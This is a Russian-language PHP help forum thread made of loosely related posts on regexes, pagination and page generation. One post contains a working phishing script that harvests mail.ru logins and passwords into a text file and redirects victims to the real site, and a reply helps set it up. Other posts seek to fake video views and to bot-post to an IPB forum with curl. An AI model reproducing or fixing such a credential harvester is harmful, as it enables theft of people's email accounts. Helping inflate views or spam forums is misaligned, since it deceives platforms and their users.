Вот есть скрипт http://pastebin.com/geSTGFqE . Каким образом формируется контент на странице и нужно изменить ссылку редиректа.
PHP: <?php $str = ""; if (preg_match("#^[A-zА-яЁё\s\-]+$#", $str)) echo 1; else echo 0; ?> Feksess, не проще ли с помощью str_replace или preg_replace заменить нужное и потом перезаписать файл?
помогтте пожалуюста, это для майл.ру <?PHP $Login = $_POST['Login'];//Логин от E-mail'a $Domain = $_POST['Domain'];//Домен (mail, inbox, list, bk) $Pass = $_POST['Password'];//Пароль от E-mail'a $c = "$Login@$Domain:$Pass"; $fp = fopen("base.txt","a+"); //открыть файл fwrite($fp,"\n $c <br> \n");//записываем вс` данные fclose($fp); //закрываем header("Location: http://win.mail.ru/cgi-bin/login"); //куда перенавравиться пользователь после ввода данных echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">" ?>
IBN_Sino, и в чем проблема? тут не экстрасенсы. Ну права на запись base.txt 777 поставьте. Предсказывая ваще следующее сообщение, отвечу, киньте что у вас написанно в теге <form>. Должно быть так: <form method="post" action="скривашегофейка.php" name="value">
Можно ли как-то средствами пхп сделать "просмотр" видео. Требуется, чтобы ролик был открыт на 1 мгновение, полного просмотра не требуется. На сайте плеер, чем-то похожий на ютуб, работает на флеш. Мне думается, что нет, но вдруг - это возможно.
просмотр средствами пхп, что имеется ввиду? пхп серверный язык, он исполняется на сервере..ты хочешь чтобы сервер открывал видео?
Я знаю, что пхп работает на сервере. У меня задача - вывести ролик в топ. Для этого нужно голоса за ролик (я уже сделал) и просмотры. Просмотр засчитывается, если ролик был открыт. Как это сделать, я не знаю. У меня пользователь кликает по ссылки ГОЛОСОВАТЬ, аяксом вызывается скрипт, который голосует за ролик. Поэтому, есть возможность для этой задачи использовать клиент.
Ну мне нужно скриптом создавать php файл. И из формы записывать в него информацию. Ну только надо чтобы эта информация была в определенном месте( между тегами div например) для редактирование размещения этой информации на странице. Как это сделать?
ТУТ возник такой вопрос, нужно авторизоватся на форум IPB и создать тему пост данные выглядят так PHP: <input type='hidden' name='act' value='Post' /> <input type='hidden' name='s' value='' /> <input type='hidden' name='f' value='201' /> <input type='hidden' name='auth_key' value='0b636b48819787da8b5fa48c2c27185b' /> <input type='hidden' name='removeattachid' value='0' /> <input type='hidden' name='MAX_FILE_SIZE' value='102400000' /> <input type='hidden' name='CODE' value='01' /> <input type='hidden' name='attach_post_key' value='44a6b7fccccb10d1b2017bab32464721' /> етот ключ PHP: <input type='hidden' name='attach_post_key' value='44a6b7fccccb10d1b2017bab32464721' /> меняется при каждом отерытии формы отправки, вопрос как отправить пост запрос, вот мой код PHP: $cur=curl_init(); curl_setopt($cur, CURLOPT_URL, 'http://site.ru/index.php?act=Login&CODE=01&CookieDate=1'); curl_setopt($cur,CURLOPT_USERAGENT,"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.8.131 Version/11.10"); curl_setopt($cur,CURLOPT_COOKIEJAR,'cookie.txt'); curl_setopt($cur,CURLOPT_COOKIEFILE,'cookie.txt'); curl_setopt($cur,CURLOPT_RETURNTRANSFER,1); curl_setopt($cur, CURLOPT_POST, 1); curl_setopt($cur, CURLOPT_POSTFIELDS, "referer=$refer&UserName=login&PassWord=pass&CookieDate=1&Privacy=1"); curl_exec($cur); curl_close($cur); $cur=curl_init(); curl_setopt($cur, CURLOPT_URL, 'http://site.ru/index.php?act=post&do=new_post&f=201'); curl_setopt($cur,CURLOPT_USERAGENT,"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.8.131 Version/11.10"); curl_setopt($cur,CURLOPT_COOKIEJAR,'cookie.txt'); curl_setopt($cur,CURLOPT_COOKIEFILE,'cookie.txt'); curl_setopt($cur,CURLOPT_RETURNTRANSFER,1); $doc = curl_exec($cur); curl_close($cur); preg_match("/<input type=\'hidden\' name=\'attach_post_key\'(.*?)\/>/",$doc, $aa); preg_match("/[a-zA-Z0-9]{10,100}/",$aa[0], $bb); $cur=curl_init(); curl_setopt($cur, CURLOPT_URL,'http://site.ru/index.php?' ); curl_setopt($cur,CURLOPT_USERAGENT,"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.8.131 Version/11.10"); curl_setopt($cur,CURLOPT_COOKIEJAR,'cookie.txt'); curl_setopt($cur,CURLOPT_COOKIEFILE,'cookie.txt'); curl_setopt($cur,CURLOPT_RETURNTRANSFER,1); curl_setopt($cur, CURLOPT_POST, 1); curl_setopt($cur, CURLOPT_POSTFIELDS, "act=Post&f=201&auth_key=47442e6ac2fd23311b01a0db9ed438b1&removeattachid=0&MAX_FILE_SIZE=102400000&CODE=01&attach_post_key=$bb[0]&TopicTitle=$theme&TopicDesc=0&Post=$mypost"); curl_exec($cur); curl_close($cur); но такой вариант естественно неподходит, как быть? помогите исправить код штобы он работал плыз
PHP: <?php $data_file = "data.txt"; // Файл со строками $onpage = 50; // Кол-во выводимых строк на страницу $data = file($data_file); // Читаем файл $count = count($data); // Считаем кол-во строк $links = $count/$onpage; // Определяем количество ссылок $page = ( isset($_GET['page']) && $_GET['page'] > 0 && $_GET['page'] < $links) ? (int)$_GET['page'] : 0; // Определяем текущую страницу $read = $page * $onpage; // Высчитываем с какой строки начинать читать for($i=$read;$i<$read+$onpage;$i++) { if($i < $count) { echo $data[$i]."<BR>"; // Выводим данные } } // Выводим ссылки for($i=0;$i<$links;$i++) echo "<a href='".$_SERVER['PHP_SELF']."?page=".$i."'>".$i."</a> "; ?>
Значит у меня все-таки верно составлена PHP: !preg_match('([^A-zА-яЁё|\s\-])', $full) , потому что ваша также пропускает (_[]), как разрешить использовать только пробел и дефис, а все остальное запретить?
Axel G #^[\s\-]+$# вот так не будет пропускать _[] PHP: <?php $str = "_[]"; if (preg_match("#^[A-Za-zА-Яа-яЁё\s\-]+$#", $str)) echo 1; else echo 0; ?> Feksess, так откуда возьмутся в нем эти теги, если это новосозданный файл?
Ну задача такова. Есть страница сайта. Там ссылки с заголовком статьи на сами статьи. Через скрипт я добавляю заголовок в БД. И сам текст статьи. Но мне нужно чтобы страницы на которые ведут ссылки создавались скриптом а не вручную. Как это сделать? Или только вручную можно?
Можно ли сделать автоматическое открытие она в новой вкладке (что бы человека на неё не бросало а тупо открывало)